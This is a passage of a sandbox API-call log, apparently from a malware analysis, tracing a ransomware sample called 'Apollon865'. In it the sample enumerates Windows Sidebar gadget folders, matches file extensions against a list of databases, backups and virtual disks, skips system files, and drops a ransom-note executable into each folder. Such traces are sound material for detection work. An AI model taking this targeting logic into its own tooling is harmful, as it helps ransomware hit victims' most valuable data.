	[0061.710] lstrlenW (lpString="tps") returned 3
	[0061.710] lstrcmpiW (lpString1="css", lpString2="tps") returned -1
	[0061.710] lstrlenW (lpString="trc") returned 3
	[0061.710] lstrcmpiW (lpString1="css", lpString2="trc") returned -1
	[0061.710] lstrlenW (lpString="trc") returned 3
	[0061.710] lstrcmpiW (lpString1="css", lpString2="trc") returned -1
	[0061.710] lstrlenW (lpString="trm") returned 3
	[0061.711] lstrcmpiW (lpString1="css", lpString2="trm") returned -1
	[0061.711] lstrlenW (lpString="udb") returned 3
	[0061.711] lstrcmpiW (lpString1="css", lpString2="udb") returned -1
	[0061.711] lstrlenW (lpString="udl") returned 3
	[0061.711] lstrcmpiW (lpString1="css", lpString2="udl") returned -1
	[0061.711] lstrlenW (lpString="usr") returned 3
	[0061.711] lstrcmpiW (lpString1="css", lpString2="usr") returned -1
	[0061.711] lstrlenW (lpString="v12") returned 3
	[0061.711] lstrcmpiW (lpString1="css", lpString2="v12") returned -1
	[0061.711] lstrlenW (lpString="vis") returned 3
	[0061.711] lstrcmpiW (lpString1="css", lpString2="vis") returned -1
	[0061.711] lstrlenW (lpString="vpd") returned 3
	[0061.711] lstrcmpiW (lpString1="css", lpString2="vpd") returned -1
	[0061.711] lstrlenW (lpString="vvv") returned 3
	[0061.711] lstrcmpiW (lpString1="css", lpString2="vvv") returned -1
	[0061.711] lstrlenW (lpString="wdb") returned 3
	[0061.711] lstrcmpiW (lpString1="css", lpString2="wdb") returned -1
	[0061.711] lstrlenW (lpString="wmdb") returned 4
	[0061.711] lstrcmpiW (lpString1=".css", lpString2="wmdb") returned -1
	[0061.711] lstrlenW (lpString="wrk") returned 3
	[0061.711] lstrcmpiW (lpString1="css", lpString2="wrk") returned -1
	[0061.711] lstrlenW (lpString="xdb") returned 3
	[0061.711] lstrcmpiW (lpString1="css", lpString2="xdb") returned -1
	[0061.711] lstrlenW (lpString="xld") returned 3
	[0061.711] lstrcmpiW (lpString1="css", lpString2="xld") returned -1
	[0061.711] lstrlenW (lpString="xmlff") returned 5
	[0061.711] lstrcmpiW (lpString1="t.css", lpString2="xmlff") returned -1
	[0061.711] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd7f0b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3cd7f0b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0061.711] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0061.711] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fb81591, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x3fb81591, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x3fb81591, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x19ac, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1
	[0061.711] lstrcmpiW (lpString1="main.css", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0061.711] lstrcmpiW (lpString1="main.css", lpString2="Apollon865.txt.exe") returned 1
	[0061.711] lstrcmpiW (lpString1="main.css", lpString2=".") returned 1
	[0061.711] lstrcmpiW (lpString1="main.css", lpString2="..") returned 1
	[0061.711] lstrcmpiW (lpString1="main.css", lpString2="windows") returned -1
	[0061.712] lstrcmpiW (lpString1="main.css", lpString2="bootmgr") returned 1
	[0061.712] lstrcmpiW (lpString1="main.css", lpString2="temp") returned -1
	[0061.712] lstrcmpiW (lpString1="main.css", lpString2="pagefile.sys") returned -1
	[0061.712] lstrcmpiW (lpString1="main.css", lpString2="boot") returned 1
	[0061.712] lstrcmpiW (lpString1="main.css", lpString2="ids.txt") returned 1
	[0061.712] lstrcmpiW (lpString1="main.css", lpString2="ntuser.dat") returned -1
	[0061.712] lstrcmpiW (lpString1="main.css", lpString2="perflogs") returned -1
	[0061.712] lstrcmpiW (lpString1="main.css", lpString2="MSBuild") returned -1
	[0061.712] lstrlenW (lpString="main.css") returned 8
	[0061.712] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css\\flyout.css") returned 74
	[0061.712] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="main.css" | out: lpString1="main.css") returned="main.css"
	[0061.712] lstrlenW (lpString="main.css") returned 8
	[0061.712] lstrlenW (lpString="Apollon865") returned 10
	[0061.712] lstrlenW (lpString=".dll") returned 4
	[0061.712] lstrcmpiW (lpString1="main.css", lpString2=".dll") returned 1
	[0061.712] lstrlenW (lpString=".lnk") returned 4
	[0061.712] lstrcmpiW (lpString1="main.css", lpString2=".lnk") returned 1
	[0061.712] lstrlenW (lpString=".ini") returned 4
	[0061.712] lstrcmpiW (lpString1="main.css", lpString2=".ini") returned 1
	[0061.712] lstrlenW (lpString=".sys") returned 4
	[0061.712] lstrcmpiW (lpString1="main.css", lpString2=".sys") returned 1
	[0061.712] lstrlenW (lpString="main.css") returned 8
	[0061.712] lstrlenW (lpString="bak") returned 3
	[0061.712] lstrcmpiW (lpString1="css", lpString2="bak") returned 1
	[0061.712] lstrlenW (lpString="ba_") returned 3
	[0061.712] lstrcmpiW (lpString1="css", lpString2="ba_") returned 1
	[0061.712] lstrlenW (lpString="dbb") returned 3
	[0061.712] lstrcmpiW (lpString1="css", lpString2="dbb") returned -1
	[0061.712] lstrlenW (lpString="vmdk") returned 4
	[0061.712] lstrcmpiW (lpString1=".css", lpString2="vmdk") returned -1
	[0061.712] lstrlenW (lpString="rar") returned 3
	[0061.712] lstrcmpiW (lpString1="css", lpString2="rar") returned -1
	[0061.712] lstrlenW (lpString="zip") returned 3
	[0061.712] lstrcmpiW (lpString1="css", lpString2="zip") returned -1
	[0061.712] lstrlenW (lpString="tgz") returned 3
	[0061.713] lstrcmpiW (lpString1="css", lpString2="tgz") returned -1
	[0061.713] lstrlenW (lpString="vbox") returned 4
	[0061.713] lstrcmpiW (lpString1=".css", lpString2="vbox") returned -1
	[0061.713] lstrlenW (lpString="vdi") returned 3
	[0061.713] lstrcmpiW (lpString1="css", lpString2="vdi") returned -1
	[0061.713] lstrlenW (lpString="vhd") returned 3
	[0061.713] lstrcmpiW (lpString1="css", lpString2="vhd") returned -1
	[0061.713] lstrlenW (lpString="vhdx") returned 4
	[0061.713] lstrcmpiW (lpString1=".css", lpString2="vhdx") returned -1
	[0061.713] lstrlenW (lpString="avhd") returned 4
	[0061.713] lstrcmpiW (lpString1=".css", lpString2="avhd") returned -1
	[0061.713] lstrlenW (lpString="db") returned 2
	[0061.713] lstrcmpiW (lpString1="ss", lpString2="db") returned 1
	[0061.713] lstrlenW (lpString="db2") returned 3
	[0061.713] lstrcmpiW (lpString1="css", lpString2="db2") returned -1
	[0061.713] lstrlenW (lpString="db3") returned 3
	[0061.713] lstrcmpiW (lpString1="css", lpString2="db3") returned -1
	[0061.713] lstrlenW (lpString="dbf") returned 3
	[0061.713] lstrcmpiW (lpString1="css", lpString2="dbf") returned -1
	[0061.713] lstrlenW (lpString="mdf") returned 3
	[0061.713] lstrcmpiW (lpString1="css", lpString2="mdf") returned -1
	[0061.713] lstrlenW (lpString="mdb") returned 3
	[0061.713] lstrcmpiW (lpString1="css", lpString2="mdb") returned -1
	[0061.713] lstrlenW (lpString="sql") returned 3
	[0061.713] lstrcmpiW (lpString1="css", lpString2="sql") returned -1
	[0061.713] lstrlenW (lpString="sqlite") returned 6
	[0061.713] lstrcmpiW (lpString1="in.css", lpString2="sqlite") returned -1
	[0061.713] lstrlenW (lpString="sqlite3") returned 7
	[0061.713] lstrcmpiW (lpString1="ain.css", lpString2="sqlite3") returned -1
	[0061.713] lstrlenW (lpString="sqlitedb") returned 8
	[0061.713] lstrlenW (lpString="xml") returned 3
	[0061.713] lstrcmpiW (lpString1="css", lpString2="xml") returned -1
	[0061.713] lstrlenW (lpString="$er") returned 3
	[0061.713] lstrcmpiW (lpString1="css", lpString2="$er") returned 1
	[0061.714] lstrlenW (lpString="4dd") returned 3
	[0061.714] lstrcmpiW (lpString1="css", lpString2="4dd") returned 1
	[0061.714] lstrlenW (lpString="4dl") returned 3
	[0061.714] lstrcmpiW (lpString1="css", lpString2="4dl") returned 1
	[0061.714] lstrlenW (lpString="^^^") returned 3
	[0061.714] lstrcmpiW (lpString1="css", lpString2="^^^") returned 1
	[0061.714] lstrlenW (lpString="abs") returned 3
	[0061.714] lstrcmpiW (lpString1="css", lpString2="abs") returned 1
	[0061.714] lstrlenW (lpString="abx") returned 3
	[0061.714] lstrcmpiW (lpString1="css", lpString2="abx") returned 1
	[0061.714] lstrlenW (lpString="accdb") returned 5
	[0061.714] lstrcmpiW (lpString1="n.css", lpString2="accdb") returned 1
	[0061.714] lstrlenW (lpString="accdc") returned 5
	[0061.714] lstrcmpiW (lpString1="n.css", lpString2="accdc") returned 1
	[0061.714] lstrlenW (lpString="accde") returned 5
	[0061.714] lstrcmpiW (lpString1="n.css", lpString2="accde") returned 1
	[0061.714] lstrlenW (lpString="accdr") returned 5
	[0061.714] lstrcmpiW (lpString1="n.css", lpString2="accdr") returned 1
	[0061.714] lstrlenW (lpString="accdt") returned 5
	[0061.714] lstrcmpiW (lpString1="n.css", lpString2="accdt") returned 1
	[0061.714] lstrlenW (lpString="accdw") returned 5
	[0061.714] lstrcmpiW (lpString1="n.css", lpString2="accdw") returned 1
	[0061.714] lstrlenW (lpString="accft") returned 5
	[0061.714] lstrcmpiW (lpString1="n.css", lpString2="accft") returned 1
	[0061.714] lstrlenW (lpString="adb") returned 3
	[0061.714] lstrcmpiW (lpString1="css", lpString2="adb") returned 1
	[0061.714] lstrlenW (lpString="adb") returned 3
	[0061.714] lstrcmpiW (lpString1="css", lpString2="adb") returned 1
	[0061.714] lstrlenW (lpString="ade") returned 3
	[0061.714] lstrcmpiW (lpString1="css", lpString2="ade") returned 1
	[0061.714] lstrlenW (lpString="adf") returned 3
	[0061.714] lstrcmpiW (lpString1="css", lpString2="adf") returned 1
	[0061.715] lstrlenW (lpString="adn") returned 3
	[0061.715] lstrcmpiW (lpString1="css", lpString2="adn") returned 1
	[0061.715] lstrlenW (lpString="adp") returned 3
	[0061.715] lstrcmpiW (lpString1="css", lpString2="adp") returned 1
	[0061.715] lstrlenW (lpString="alf") returned 3
	[0061.715] lstrcmpiW (lpString1="css", lpString2="alf") returned 1
	[0061.715] lstrlenW (lpString="ask") returned 3
	[0061.715] lstrcmpiW (lpString1="css", lpString2="ask") returned 1
	[0061.715] lstrlenW (lpString="btr") returned 3
	[0061.715] lstrcmpiW (lpString1="css", lpString2="btr") returned 1
	[0061.715] lstrlenW (lpString="cat") returned 3
	[0061.715] lstrcmpiW (lpString1="css", lpString2="cat") returned 1
	[0061.715] lstrlenW (lpString="cdb") returned 3
	[0061.715] lstrcmpiW (lpString1="css", lpString2="cdb") returned 1
	[0061.715] lstrlenW (lpString="ckp") returned 3
	[0061.715] lstrcmpiW (lpString1="css", lpString2="ckp") returned 1
	[0061.715] lstrlenW (lpString="cma") returned 3
	[0061.715] lstrcmpiW (lpString1="css", lpString2="cma") returned 1
	[0061.715] lstrlenW (lpString="cpd") returned 3
	[0061.715] lstrcmpiW (lpString1="css", lpString2="cpd") returned 1
	[0061.715] lstrlenW (lpString="dacpac") returned 6
	[0061.715] lstrcmpiW (lpString1="in.css", lpString2="dacpac") returned 1
	[0061.715] lstrlenW (lpString="dad") returned 3
	[0061.715] lstrcmpiW (lpString1="css", lpString2="dad") returned -1
	[0061.715] lstrlenW (lpString="dadiagrams") returned 10
	[0061.715] lstrlenW (lpString="daschema") returned 8
	[0061.715] lstrlenW (lpString="db-journal") returned 10
	[0061.715] lstrlenW (lpString="db-shm") returned 6
	[0061.715] lstrcmpiW (lpString1="in.css", lpString2="db-shm") returned 1
	[0061.715] lstrlenW (lpString="db-wal") returned 6
	[0061.715] lstrcmpiW (lpString1="in.css", lpString2="db-wal") returned 1
	[0061.715] lstrlenW (lpString="dbc") returned 3
	[0061.715] lstrcmpiW (lpString1="css", lpString2="dbc") returned -1
	[0061.715] lstrlenW (lpString="dbs") returned 3
	[0061.715] lstrcmpiW (lpString1="css", lpString2="dbs") returned -1
	[0061.716] lstrlenW (lpString="dbt") returned 3
	[0061.716] lstrcmpiW (lpString1="css", lpString2="dbt") returned -1
	[0061.716] lstrlenW (lpString="dbv") returned 3
	[0061.716] lstrcmpiW (lpString1="css", lpString2="dbv") returned -1
	[0061.716] lstrlenW (lpString="dbx") returned 3
	[0061.716] lstrcmpiW (lpString1="css", lpString2="dbx") returned -1
	[0061.716] lstrlenW (lpString="dcb") returned 3
	[0061.716] lstrcmpiW (lpString1="css", lpString2="dcb") returned -1
	[0061.716] lstrcmpiW (lpString1="css", lpString2="dct") returned -1
	[0061.716] lstrcmpiW (lpString1="css", lpString2="dcx") returned -1
	[0061.716] lstrcmpiW (lpString1="css", lpString2="ddl") returned -1
	[0061.716] lstrcmpiW (lpString1=".css", lpString2="dlis") returned -1
	[0061.716] lstrcmpiW (lpString1="css", lpString2="dp1") returned -1
	[0061.716] lstrcmpiW (lpString1="css", lpString2="dqy") returned -1
	[0061.716] lstrcmpiW (lpString1="css", lpString2="dsk") returned -1
	[0061.716] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="settings.css" | out: lpString1="settings.css") returned="settings.css"
	[0061.716] lstrlenW (lpString="settings.css") returned 12
	[0061.716] lstrlenW (lpString="Apollon865") returned 10
	[0061.716] lstrcmpiW (lpString1="ttings.css", lpString2="Apollon865") returned 1
	[0061.716] lstrlenW (lpString=".dll") returned 4
	[0061.717] lstrcmpiW (lpString1="settings.css", lpString2=".dll") returned 1
	[0061.717] lstrlenW (lpString=".lnk") returned 4
	[0061.717] lstrcmpiW (lpString1="settings.css", lpString2=".lnk") returned 1
	[0061.717] lstrlenW (lpString=".ini") returned 4
	[0061.717] lstrcmpiW (lpString1="settings.css", lpString2=".ini") returned 1
	[0061.717] lstrlenW (lpString=".sys") returned 4
	[0061.717] lstrcmpiW (lpString1="settings.css", lpString2=".sys") returned 1
	[0061.717] lstrlenW (lpString="settings.css") returned 12
	[0061.718] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget"
	[0061.718] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591740 | out: hHeap=0x580000) returned 1
	[0061.718] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0061.718] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget") returned 56
	[0061.718] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget"
	[0061.718] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0061.718] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0061.724] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0061.724] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3cdcb370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3cdcb370, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0061.724] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.724] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0061.724] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0061.724] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3cdcb370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3cdcb370, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.725] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.725] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0061.725] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0061.725] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0061.725] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871223e6, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x871223e6, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x296096cf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x406b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1
	[0061.725] lstrcmpiW (lpString1="drag.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.725] lstrcmpiW (lpString1="drag.png", lpString2="Apollon865.txt.exe") returned 1
	[0061.725] lstrcmpiW (lpString1="drag.png", lpString2=".") returned 1
	[0061.725] lstrcmpiW (lpString1="drag.png", lpString2="..") returned 1
	[0061.725] lstrcmpiW (lpString1="drag.png", lpString2="windows") returned -1
	[0061.725] lstrcmpiW (lpString1="drag.png", lpString2="bootmgr") returned 1
	[0061.725] lstrcmpiW (lpString1="drag.png", lpString2="temp") returned -1
	[0061.725] lstrcmpiW (lpString1="drag.png", lpString2="pagefile.sys") returned -1
	[0061.725] lstrcmpiW (lpString1="drag.png", lpString2="boot") returned 1
	[0061.725] lstrcmpiW (lpString1="drag.png", lpString2="ids.txt") returned -1
	[0061.725] lstrcmpiW (lpString1="drag.png", lpString2="ntuser.dat") returned -1
	[0061.725] lstrcmpiW (lpString1="drag.png", lpString2="perflogs") returned -1
	[0061.725] lstrcmpiW (lpString1="drag.png", lpString2="MSBuild") returned -1
	[0061.725] lstrlenW (lpString="drag.png") returned 8
	[0061.725] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\*") returned 58
	[0061.725] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="drag.png" | out: lpString1="drag.png") returned="drag.png"
	[0061.725] lstrlenW (lpString="drag.png") returned 8
	[0061.725] lstrlenW (lpString="Apollon865") returned 10
	[0061.725] lstrlenW (lpString=".dll") returned 4
	[0061.725] lstrcmpiW (lpString1="drag.png", lpString2=".dll") returned 1
	[0061.725] lstrlenW (lpString=".lnk") returned 4
	[0061.725] lstrcmpiW (lpString1="drag.png", lpString2=".lnk") returned 1
	[0061.725] lstrlenW (lpString=".ini") returned 4
	[0061.725] lstrcmpiW (lpString1="drag.png", lpString2=".ini") returned 1
	[0061.725] lstrlenW (lpString=".sys") returned 4
	[0061.725] lstrcmpiW (lpString1="drag.png", lpString2=".sys") returned 1
	[0061.725] lstrlenW (lpString="drag.png") returned 8
	[0061.726] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0061.726] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0061.726] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bf4e0
	[0061.726] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7af0
	[0061.726] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cdcb370, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3cdcb370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0061.726] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0061.726] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x296c7da5, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x296c7da5, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x296c7da5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1ae9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1
	[0061.726] lstrcmpiW (lpString1="icon.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0061.726] lstrcmpiW (lpString1="icon.png", lpString2="Apollon865.txt.exe") returned 1
	[0061.726] lstrcmpiW (lpString1="icon.png", lpString2=".") returned 1
	[0061.726] lstrcmpiW (lpString1="icon.png", lpString2="..") returned 1
	[0061.726] lstrcmpiW (lpString1="icon.png", lpString2="windows") returned -1
	[0061.726] lstrcmpiW (lpString1="icon.png", lpString2="bootmgr") returned 1
	[0061.726] lstrcmpiW (lpString1="icon.png", lpString2="temp") returned -1
	[0061.726] lstrcmpiW (lpString1="icon.png", lpString2="pagefile.sys") returned -1
	[0061.726] lstrcmpiW (lpString1="icon.png", lpString2="boot") returned 1
	[0061.726] lstrcmpiW (lpString1="icon.png", lpString2="ids.txt") returned -1
	[0061.726] lstrcmpiW (lpString1="icon.png", lpString2="ntuser.dat") returned -1
	[0061.726] lstrcmpiW (lpString1="icon.png", lpString2="perflogs") returned -1
	[0061.726] lstrcmpiW (lpString1="icon.png", lpString2="MSBuild") returned -1
	[0061.726] lstrlenW (lpString="icon.png") returned 8
	[0061.726] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US") returned 62
	[0061.726] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="icon.png" | out: lpString1="icon.png") returned="icon.png"
	[0061.726] lstrlenW (lpString="icon.png") returned 8
	[0061.726] lstrlenW (lpString="Apollon865") returned 10
	[0061.726] lstrlenW (lpString=".dll") returned 4
	[0061.726] lstrcmpiW (lpString1="icon.png", lpString2=".dll") returned 1
	[0061.726] lstrlenW (lpString=".lnk") returned 4
	[0061.726] lstrcmpiW (lpString1="icon.png", lpString2=".lnk") returned 1
	[0061.726] lstrlenW (lpString=".ini") returned 4
	[0061.727] lstrcmpiW (lpString1="icon.png", lpString2=".ini") returned 1
	[0061.727] lstrlenW (lpString=".sys") returned 4
	[0061.727] lstrcmpiW (lpString1="icon.png", lpString2=".sys") returned 1
	[0061.727] lstrlenW (lpString="icon.png") returned 8
	[0061.727] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="images" | out: lpString1="images") returned="images"
	[0061.727] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0061.727] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf898
	[0061.727] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c10 | out: ListHead=0x5b76b0, ListEntry=0x5b7c10) returned 0x5b7c90
	[0061.727] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870fc289, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x870fc289, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29e5e35f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x172a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1
	[0061.727] lstrcmpiW (lpString1="logo.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0061.727] lstrcmpiW (lpString1="logo.png", lpString2="Apollon865.txt.exe") returned 1
	[0061.727] lstrcmpiW (lpString1="logo.png", lpString2=".") returned 1
	[0061.727] lstrcmpiW (lpString1="logo.png", lpString2="..") returned 1
	[0061.727] lstrcmpiW (lpString1="logo.png", lpString2="windows") returned -1
	[0061.727] lstrcmpiW (lpString1="logo.png", lpString2="bootmgr") returned 1
	[0061.727] lstrcmpiW (lpString1="logo.png", lpString2="temp") returned -1
	[0061.727] lstrcmpiW (lpString1="logo.png", lpString2="pagefile.sys") returned -1
	[0061.727] lstrcmpiW (lpString1="logo.png", lpString2="boot") returned 1
	[0061.727] lstrcmpiW (lpString1="logo.png", lpString2="ids.txt") returned 1
	[0061.727] lstrcmpiW (lpString1="logo.png", lpString2="ntuser.dat") returned -1
	[0061.727] lstrcmpiW (lpString1="logo.png", lpString2="perflogs") returned -1
	[0061.727] lstrcmpiW (lpString1="logo.png", lpString2="MSBuild") returned -1
	[0061.727] lstrlenW (lpString="logo.png") returned 8
	[0061.727] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images") returned 63
	[0061.727] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="logo.png" | out: lpString1="logo.png") returned="logo.png"
	[0061.727] lstrlenW (lpString="logo.png") returned 8
	[0061.727] lstrlenW (lpString="Apollon865") returned 10
	[0061.727] lstrlenW (lpString=".dll") returned 4
	[0061.727] lstrcmpiW (lpString1="logo.png", lpString2=".dll") returned 1
	[0061.727] lstrlenW (lpString=".lnk") returned 4
	[0061.727] lstrcmpiW (lpString1="logo.png", lpString2=".lnk") returned 1
	[0061.727] lstrlenW (lpString=".ini") returned 4
	[0061.728] lstrcmpiW (lpString1="logo.png", lpString2=".ini") returned 1
	[0061.728] lstrlenW (lpString=".sys") returned 4
	[0061.728] lstrcmpiW (lpString1="logo.png", lpString2=".sys") returned 1
	[0061.728] lstrlenW (lpString="logo.png") returned 8
	[0061.728] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images"
	[0061.728] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0061.728] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0061.728] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images") returned 63
	[0061.728] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images"
	[0061.728] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
